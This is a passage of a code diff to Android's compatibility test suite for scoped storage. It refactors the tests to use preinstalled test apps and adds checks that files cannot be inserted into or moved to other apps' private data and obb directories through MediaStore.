- * method doesn't uninstall given {@code testApp} at the end.
+ * Checks restrictions for listing pending and trashed files by different apps.
*/
- private void assertListPendingOrTrashed(Uri uri, File file, TestApp testApp,
- boolean isImageOrVideo) throws Exception {
+ private void assertListPendingOrTrashed(Uri uri, File file, boolean isImageOrVideo)
+ throws Exception {
final String parentDirPath = file.getParent();
assertTrue(new File(parentDirPath).isDirectory());
@@ -2348,32 +2593,30 @@
assertThat(listedFileNames).contains(pendingOrTrashedFile.getName());
// App with READ_EXTERNAL_STORAGE can't see other app's pending or trashed file.
- assertThat(listAs(testApp, parentDirPath)).doesNotContain(pendingOrTrashedFile.getName());
+ assertThat(listAs(APP_A_HAS_RES, parentDirPath)).doesNotContain(
+ pendingOrTrashedFile.getName());
- final int testAppUid =
- getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
- try {
- allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- // File Manager can see any pending or trashed file.
- assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
- } finally {
- denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- }
+ final int resAppUid =
+ getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
+ // File Manager can see any pending or trashed file.
+ assertThat(listAs(APP_FM, parentDirPath)).contains(pendingOrTrashedFile.getName());
+
try {
- allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+ allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
if (isImageOrVideo) {
// System Gallery can see any pending or trashed image/video file.
assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
- assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
+ assertThat(listAs(APP_A_HAS_RES, parentDirPath)).contains(
+ pendingOrTrashedFile.getName());
} else {
// System Gallery can't see other app's pending or trashed non media file.
assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
- assertThat(listAs(testApp, parentDirPath))
+ assertThat(listAs(APP_A_HAS_RES, parentDirPath))
.doesNotContain(pendingOrTrashedFile.getName());
}
} finally {
- denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+ denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
}
}
@@ -2599,6 +2842,15 @@
}
}
+ private static void assertCannotReadOrWrite(File file)
+ throws Exception {
+ // App data directories have different 'x' bits on upgrading vs new devices. Let's not
+ // check 'exists', by passing checkExists=false. But assert this app cannot read or write
+ // the other app's file.
+ assertAccess(file, false /* value is moot */, false /* canRead */,
+ false /* canWrite */, false /* checkExists */);
+ }
+
private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite)
throws Exception {
assertAccess(file, exists, canRead, canWrite, true /* checkExists */);
@@ -2639,4 +2891,36 @@
});
}
}
+
+ /**
+ * Creates a file at any location on storage (except external app data directory).
+ * The owner of the file is not the caller app.
+ */
+ private void createFileAsLegacyApp(File file) throws Exception {
+ // Use a legacy app to create this file, since it could be outside shared storage.
+ Log.d(TAG, "Creating file " + file);
+ assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath())).isTrue();
+ }
+
+ /**
+ * Creates a file at any location on storage (except external app data directory).
+ * The owner of the file is not the caller app.
+ */
+ private void createDirectoryAsLegacyApp(File file) throws Exception {
+ // Use a legacy app to create this file, since it could be outside shared storage.
+ Log.d(TAG, "Creating directory " + file);
+ // Create a tmp file in the target directory, this would also create the required
+ // directory, then delete the tmp file. It would leave only new directory.
+ assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+ assertThat(deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+ }
+
+ /**
+ * Deletes a file or directory at any location on storage (except external app data directory).
+ */
+ private void deleteAsLegacyApp(File file) throws Exception {
+ // Use a legacy app to delete this file, since it could be outside shared storage.
+ Log.d(TAG, "Deleting file " + file);
+ deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
+ }
}
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStoragePublicVolumeDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStoragePublicVolumeDeviceTest.java
index 8856887..20f4274 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStoragePublicVolumeDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStoragePublicVolumeDeviceTest.java
@@ -23,7 +23,6 @@
import androidx.test.runner.AndroidJUnit4;
import org.junit.AfterClass;
-import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.runner.RunWith;
@@ -38,17 +37,22 @@
ScopedStorageDeviceTest.createPublicVolume();
}
+ @BeforeClass
+ public static void setupApps() throws Exception {
+ ScopedStorageDeviceTest.setupApps();
+ }
+
@AfterClass
public static void resetDefaultVolume() throws Exception {
TestUtils.resetDefaultExternalStorageVolume();
}
- @Before
- public void setup() throws Exception {
+ @BeforeClass
+ public static void setupStorage() throws Exception {
String volumeName = TestUtils.getPublicVolumeName();
assertThat(volumeName).isNotNull();
TestUtils.setExternalStorageVolume(volumeName);
TestUtils.assertDefaultVolumeIsPublic();
- super.setup();
+ ScopedStorageDeviceTest.setupStorage();
}
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 01d1a3c4..2a63325 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -224,4 +224,24 @@
public void testScanUpdatesMetadataForNewlyAddedFile_hasRW() throws Exception {
runDeviceTest("testScanUpdatesMetadataForNewlyAddedFile_hasRW");
}
+
+ @Test
+ public void testInsertFromExternalDirsViaData() throws Exception {
+ runDeviceTest("testInsertFromExternalDirsViaData");
+ }
+
+ @Test
+ public void testUpdateToExternalDirsViaData() throws Exception {
+ runDeviceTest("testUpdateToExternalDirsViaData");
+ }
+
+ @Test
+ public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+ runDeviceTest("testInsertFromExternalDirsViaRelativePath");
+ }
+
+ @Test
+ public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+ runDeviceTest("testUpdateToExternalDirsViaRelativePath");
+ }
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index 701fbad..e162169 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -21,7 +21,6 @@
import android.platform.test.annotations.AppModeFull;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.contentprovider.ContentProviderHandler;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
@@ -38,8 +37,6 @@
public class ScopedStorageHostTest extends BaseHostTestCase {
private boolean mIsExternalStorageSetup;
- private ContentProviderHandler mContentProviderHandler;
-
/**
* Runs the given phase of ScopedStorageTest by calling into the device.
* Throws an exception if the test phase fails.
@@ -71,11 +68,6 @@
@Before
public void setup() throws Exception {
- // Set up content provider. This would install android.tradefed.contentprovider
- // which is used to create and delete files/Dir on device side test.
- mContentProviderHandler = new ContentProviderHandler(getDevice());
- mContentProviderHandler.setUp();
-
setupExternalStorage();
executeShellCommand("mkdir /sdcard/Android/data/com.android.shell -m 2770");
executeShellCommand("mkdir /sdcard/Android/data/com.android.shell/files -m 2770");
@@ -89,21 +81,9 @@
@After
public void tearDown() throws Exception {
- mContentProviderHandler.tearDown();
executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
}
-
- @Test
- public void testListUnsupportedFileType() throws Exception {
- runDeviceTest("testListUnsupportedFileType");
- }
-
- @Test
- public void testCantRenameToTopLevelDirectory() throws Exception {
- runDeviceTest("testCantRenameToTopLevelDirectory");
- }
-
@Test
public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception {
allowAppOps("android:manage_external_storage");
@@ -147,16 +127,6 @@
}
@Test
- public void testCantAccessOtherAppsExternalDirs() throws Exception {
- runDeviceTest("testCantAccessOtherAppsExternalDirs");
- }
-
- @Test
- public void testCanCreateDefaultDirectory() throws Exception {
- runDeviceTest("testCanCreateDefaultDirectory");
- }
-
- @Test
public void testManageExternalStorageQueryOtherAppsFile() throws Exception {
allowAppOps("android:manage_external_storage");
try {
@@ -167,6 +137,26 @@
}
@Test
+ public void testManageExternalStorageDoesntSkipScanningDirtyNomediaDir() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testManageExternalStorageDoesntSkipScanningDirtyNomediaDir");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ @Test
+ public void testScanDoesntSkipDirtySubtree() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testScanDoesntSkipDirtySubtree");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ @Test
public void testOpenOtherPendingFilesFromFuse() throws Exception {
grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
try {
@@ -187,12 +177,11 @@
}
@Test
- public void testWallpaperApisNoPermission() throws Exception {
- runDeviceTest("testWallpaperApisNoPermission");
- }
-
- @Test
public void testWallpaperApisReadExternalStorage() throws Exception {
+ // First run without any permission
+ runDeviceTest("testWallpaperApisNoPermission");
+
+ // Then with RES.
grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
try {
runDeviceTest("testWallpaperApisReadExternalStorage");
@@ -251,6 +240,55 @@
}
}
+ @Test
+ public void testInsertExternalFilesViaDataAsFileManager() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testInsertExternalFilesViaData");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ /**
+ * Test that File Manager can't update file path to private directories.
+ */
+ @Test
+ public void testUpdateExternalFilesViaDataAsFileManager() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testUpdateExternalFilesViaData");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ /**
+ * Test that File Manager can't insert files from private directories.
+ */
+ @Test
+ public void testInsertExternalFilesViaRelativePathAsFileManager() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testInsertExternalFilesViaRelativePath");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ /**
+ * Test that File Manager can't update file path to private directories.
+ */
+ @Test
+ public void testUpdateExternalFilesViaRelativePathAsFileManager() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testUpdateExternalFilesViaRelativePath");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
private void grantPermissions(String... perms) throws Exception {
int currentUserId = getCurrentUserId();
for (String perm : perms) {
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 1c108f0..6be57aa 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -27,25 +27,34 @@
import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
-import static android.scopedstorage.cts.lib.TestUtils.installApp;
+import static android.scopedstorage.cts.lib.TestUtils.insertFile;
+import static android.scopedstorage.cts.lib.TestUtils.insertFileFromExternalMedia;
import static android.scopedstorage.cts.lib.TestUtils.listAs;
import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
+import static android.scopedstorage.cts.lib.TestUtils.resetDefaultExternalStorageVolume;
import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.updateFile;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
import static androidx.test.InstrumentationRegistry.getContext;
@@ -123,8 +132,16 @@
static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
static final String NONMEDIA_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".pdf";
- private static final TestApp TEST_APP_A = new TestApp("TestAppA",
- "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
+ // The following apps are installed before the tests are run via a target_preparer.
+ // See test config for details.
+ // An app with READ_EXTERNAL_STORAGE permission
+ private static final TestApp APP_A_HAS_RES = new TestApp("TestAppA",
+ "android.scopedstorage.cts.testapp.A.withres", 1, false,
+ "CtsScopedStorageTestAppA.apk");
+ // An app with no permissions
+ private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+ "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+ "CtsScopedStorageTestAppB.apk");
private static final String[] SYSTEM_GALERY_APPOPS = {
AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
@@ -140,6 +157,11 @@
@Before
public void setup() throws Exception {
pollForExternalStorageState();
+
+ assertThat(checkPermission(APP_A_HAS_RES,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+ assertThat(checkPermission(APP_B_NO_PERMS,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
}
@After
@@ -499,8 +521,7 @@
// Deleting the file will remove videoFile entry from database.
assertThat(getFileRowIdFromDatabase(videoFile)).isEqualTo(-1);
- installApp(TEST_APP_A, false);
- assertThat(createFileAs(TEST_APP_A, otherAppPdfFile.getAbsolutePath())).isTrue();
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdfFile.getAbsolutePath())).isTrue();
assertThat(getFileRowIdFromDatabase(otherAppPdfFile)).isNotEqualTo(-1);
// Legacy app with write permission can delete the pdfFile owned by TestApp.
assertThat(otherAppPdfFile.delete()).isTrue();
@@ -509,8 +530,7 @@
// on a public volume, which is different from the behaviour on a primary external.
// assertThat(getFileRowIdFromDatabase(otherAppPdfFile)).isEqualTo(-1);
} finally {
- deleteFileAsNoThrow(TEST_APP_A, otherAppPdfFile.getAbsolutePath());
- uninstallApp(TEST_APP_A);
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdfFile.getAbsolutePath());
videoFile.delete();
}
}
@@ -528,9 +548,8 @@
try {
assertThat(videoFile.createNewFile()).isTrue();
- installApp(TEST_APP_A, true);
// videoFile is inserted to database, non-legacy app can see this videoFile on 'ls'.
- assertThat(listAs(TEST_APP_A, TestUtils.getExternalStorageDir().getAbsolutePath()))
+ assertThat(listAs(APP_A_HAS_RES, TestUtils.getExternalStorageDir().getAbsolutePath()))
.contains(VIDEO_FILE_NAME);
// videoFile is in database, row ID for videoFile can not be -1.
@@ -542,7 +561,6 @@
assertEquals(-1, getFileRowIdFromDatabase(videoFile));
} finally {
videoFile.delete();
- uninstallApp(TEST_APP_A);
}
}
@@ -711,20 +729,18 @@
pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
final File fullPath = new File(TestUtils.getDcimDir(),
- "OwnershipChange_" + IMAGE_FILE_NAME);
- final String relativePath = "DCIM/OwnershipChange_" + IMAGE_FILE_NAME;
+ "OwnershipChange" + IMAGE_FILE_NAME);
+ final String relativePath = "DCIM/OwnershipChange" + IMAGE_FILE_NAME;
try {
- installApp(TEST_APP_A, false);
- createImageEntryAs(TEST_APP_A, relativePath);
+ createImageEntryAs(APP_B_NO_PERMS, relativePath);
assertThat(fullPath.createNewFile()).isTrue();
- // We have transferred ownership away from TEST_APP_A so reads / writes
+ // We have transferred ownership away from APP_B_NO_PERMS so reads / writes
// should no longer work.
- assertThat(canOpenFileAs(TEST_APP_A, fullPath, false /* for write */)).isFalse();
- assertThat(canOpenFileAs(TEST_APP_A, fullPath, false /* for read */)).isFalse();
+ assertThat(canOpenFileAs(APP_B_NO_PERMS, fullPath, false /* forWrite */)).isFalse();
+ assertThat(canOpenFileAs(APP_B_NO_PERMS, fullPath, true /* forWrite */)).isFalse();
} finally {
- deleteFileAsNoThrow(TEST_APP_A, fullPath.getAbsolutePath());
- uninstallAppNoThrow(TEST_APP_A);
+ deleteFileAsNoThrow(APP_B_NO_PERMS, fullPath.getAbsolutePath());
fullPath.delete();
}
}
@@ -788,31 +804,24 @@
final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
try {
- installApp(TEST_APP_A);
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
- try {
- allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
- // Create and write some data to the file
- assertThat(createFileAs(TEST_APP_A, otherAppVideoFile.getPath())).isTrue();
- try (final FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
- fos.write(BYTES_DATA1);
- }
-
- // Assert legacy system gallery can rename the file.
- assertCanRenameFile(otherAppVideoFile, videoFile, false /* checkDatabase */);
- assertFileContent(videoFile, BYTES_DATA1);
- // Database was not updated.
- assertThat(getFileRowIdFromDatabase(otherAppVideoFile)).isNotEqualTo(-1);
- assertThat(getFileRowIdFromDatabase(videoFile)).isEqualTo(-1);
+ // Create and write some data to the file
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+ try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
+ fos.write(BYTES_DATA1);
}
- finally {
- otherAppVideoFile.delete();
- videoFile.delete();
- denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
- }
+
+ // Assert legacy system gallery can rename the file.
+ assertCanRenameFile(otherAppVideoFile, videoFile, false /* checkDatabase */);
+ assertFileContent(videoFile, BYTES_DATA1);
+ // Database was not updated.
+ assertThat(getFileRowIdFromDatabase(otherAppVideoFile)).isNotEqualTo(-1);
+ assertThat(getFileRowIdFromDatabase(videoFile)).isEqualTo(-1);
} finally {
- uninstallAppNoThrow(TEST_APP_A);
+ otherAppVideoFile.delete();
+ videoFile.delete();
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
}
}
@@ -824,24 +833,17 @@
final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
try {
- installApp(TEST_APP_A);
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
- try {
- allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ // Create file of other app.
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
- // Create file of other app.
- assertThat(createFileAs(TEST_APP_A, otherAppVideoFile.getPath())).isTrue();
-
- // Check we cannot rename it.
- assertThat(otherAppVideoFile.renameTo(videoFile)).isFalse();
- }
- finally {
- otherAppVideoFile.delete();
- videoFile.delete();
- denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
- }
+ // Check we cannot rename it.
+ assertThat(otherAppVideoFile.renameTo(videoFile)).isFalse();
} finally {
- uninstallAppNoThrow(TEST_APP_A);
+ otherAppVideoFile.delete();
+ videoFile.delete();
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
}
}
@@ -853,20 +855,18 @@
final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
try {
- installApp(TEST_APP_A);
- // Create and write some data to the file
- assertThat(createFileAs(TEST_APP_A, otherAppVideoFile.getPath())).isTrue();
- try (final FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
- fos.write(BYTES_DATA1);
- }
+ // Create and write some data to the file
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+ try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
+ fos.write(BYTES_DATA1);
+ }
- // Assert legacy WES can rename the file (including database updated).
- assertCanRenameFile(otherAppVideoFile, videoFile);
- assertFileContent(videoFile, BYTES_DATA1);
+ // Assert legacy WES can rename the file (including database updated).
+ assertCanRenameFile(otherAppVideoFile, videoFile);
+ assertFileContent(videoFile, BYTES_DATA1);
} finally {
otherAppVideoFile.delete();
videoFile.delete();
- uninstallAppNoThrow(TEST_APP_A);
}
}
@@ -911,6 +911,68 @@
}
}
+ /**
+ * Make sure inserting files from app private directories in legacy apps is allowed via DATA.
+ */
+ @Test
+ public void testInsertFromExternalDirsViaData() throws Exception {
+ verifyInsertFromExternalMediaDirViaData_allowed();
+
+ ContentValues values = new ContentValues();
+ final String androidObbDir =
+ getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+ values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+ insertFile(values);
+
+ final String androidDataDir = getExternalFilesDir().toString();
+ values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+ insertFile(values);
+ }
+
+ /**
+ * Make sure inserting files from app private directories in legacy apps is not allowed via
+ * RELATIVE_PATH.
+ */
+ @Test
+ public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+ verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+ verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+ }
+
+ /**
+ * Make sure updating files to app private directories in legacy apps is allowed via DATA.
+ */
+ @Test
+ public void testUpdateToExternalDirsViaData() throws Exception {
+ resetDefaultExternalStorageVolume();
+ Uri uri = insertFileFromExternalMedia(false);
+
+ final String androidMediaDirFile =
+ getAndroidMediaDir().toString() + "/" + System.currentTimeMillis();
+ ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+ assertNotEquals(0, updateFile(uri, values));
+
+ final String androidObbDir =
+ getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+ values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+ assertNotEquals(0, updateFile(uri, values));
+
+ final String androidDataDir = getExternalFilesDir().toString();
+ values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+ assertNotEquals(0, updateFile(uri, values));
+ }
+
+ /**
+ * Make sure updating files to app private directories in legacy apps is not allowed via
+ * RELATIVE_PATH.
+ */
+ @Test
+ public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+ verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+ verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+ }
+
private static void assertCanCreateFile(File file) throws IOException {
if (file.exists()) {
file.delete();
@@ -970,12 +1032,12 @@
}
private void createFileInExternalDir(File file) throws Exception {
- Log.d(TAG, "Creating file " + file + " in the external Directory");
+ Log.d(TAG, "Creating file " + file);
getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
}
private void deleteFileInExternalDir(File file) throws Exception {
- Log.d(TAG, "Deleting file " + file + " from the external Directory");
+ Log.d(TAG, "Deleting file " + file);
getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
}
}
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index e9d98c5..53e6e78 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -21,7 +21,12 @@
import static androidx.test.InstrumentationRegistry.getContext;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.TestCase.assertNotNull;
+
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.fail;
import android.Manifest;
@@ -41,7 +46,6 @@
import android.os.Bundle;
import android.os.Environment;
import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
import android.provider.MediaStore;
import android.system.ErrnoException;
import android.system.Os;
@@ -69,6 +73,7 @@
import java.util.Arrays;
import java.util.HashMap;
import java.util.Locale;
+import java.util.Optional;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
@@ -124,7 +129,9 @@
public static void setupDefaultDirectories() {
for (File dir : getDefaultTopLevelDirs()) {
dir.mkdir();
- assertThat(dir.exists()).isTrue();
+ assertWithMessage("Could not setup default dir [%s]", dir.toString())
+ .that(dir.exists())
+ .isTrue();
}
}
@@ -136,11 +143,15 @@
uiAutomation.adoptShellPermissionIdentity("android.permission.GRANT_RUNTIME_PERMISSIONS");
try {
uiAutomation.grantRuntimePermission(packageName, permission);
- // Wait for OP_READ_EXTERNAL_STORAGE to get updated.
- SystemClock.sleep(1000);
} finally {
uiAutomation.dropShellPermissionIdentity();
}
+ try {
+ pollForPermission(packageName, permission, true);
+ } catch (Exception e) {
+ fail("Exception on polling for permission grant for " + packageName + " for "
+ + permission + ": " + e.getMessage());
+ }
}
/**
@@ -154,6 +165,12 @@
} finally {
uiAutomation.dropShellPermissionIdentity();
}
+ try {
+ pollForPermission(packageName, permission, false);
+ } catch (Exception e) {
+ fail("Exception on polling for permission revoke for " + packageName + " for "
+ + permission + ": " + e.getMessage());
+ }
}
/**
@@ -279,6 +296,147 @@
return getResultFromTestApp(testApp, file.getPath(), actionName);
}
+ public static Uri insertFileFromExternalMedia(boolean useRelative) throws IOException {
+ ContentValues values = new ContentValues();
+ String filePath =
+ getAndroidMediaDir().toString() + "/" + getContext().getPackageName() + "/"
+ + System.currentTimeMillis();
+ if (useRelative) {
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+ "Android/media/" + getContext().getPackageName());
+ values.put(MediaStore.MediaColumns.DISPLAY_NAME, System.currentTimeMillis());
+ } else {
+ values.put(MediaStore.MediaColumns.DATA, filePath);
+ }
+
+ return getContentResolver().insert(
+ MediaStore.Files.getContentUri(sStorageVolumeName), values);
+ }
+
+ public static void insertFile(ContentValues values) {
+ assertNotNull(getContentResolver().insert(
+ MediaStore.Files.getContentUri(sStorageVolumeName), values));
+ }
+
+ public static int updateFile(Uri uri, ContentValues values) {
+ return getContentResolver().update(uri, values, new Bundle());
+ }
+
+ public static void verifyInsertFromExternalPrivateDirViaRelativePath_denied() throws Exception {
+ resetDefaultExternalStorageVolume();
+
+ // Test that inserting files from Android/obb/.. is not allowed.
+ final String androidObbDir = getContext().getObbDir().toString();
+ ContentValues values = new ContentValues();
+ values.put(
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ androidObbDir.substring(androidObbDir.indexOf("Android")));
+ assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+
+ // Test that inserting files from Android/data/.. is not allowed.
+ final String androidDataDir = getExternalFilesDir().toString();
+ values.put(
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ androidDataDir.substring(androidDataDir.indexOf("Android")));
+ assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+ }
+
+ public static void verifyInsertFromExternalMediaDirViaRelativePath_allowed() throws Exception {
+ resetDefaultExternalStorageVolume();
+
+ // Test that inserting files from Android/media/.. is allowed.
+ final String androidMediaDir = getExternalMediaDir().toString();
+ final ContentValues values = new ContentValues();
+ values.put(
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ androidMediaDir.substring(androidMediaDir.indexOf("Android")));
+ insertFile(values);
+ }
+
+ public static void verifyInsertFromExternalPrivateDirViaData_denied() throws Exception {
+ resetDefaultExternalStorageVolume();
+
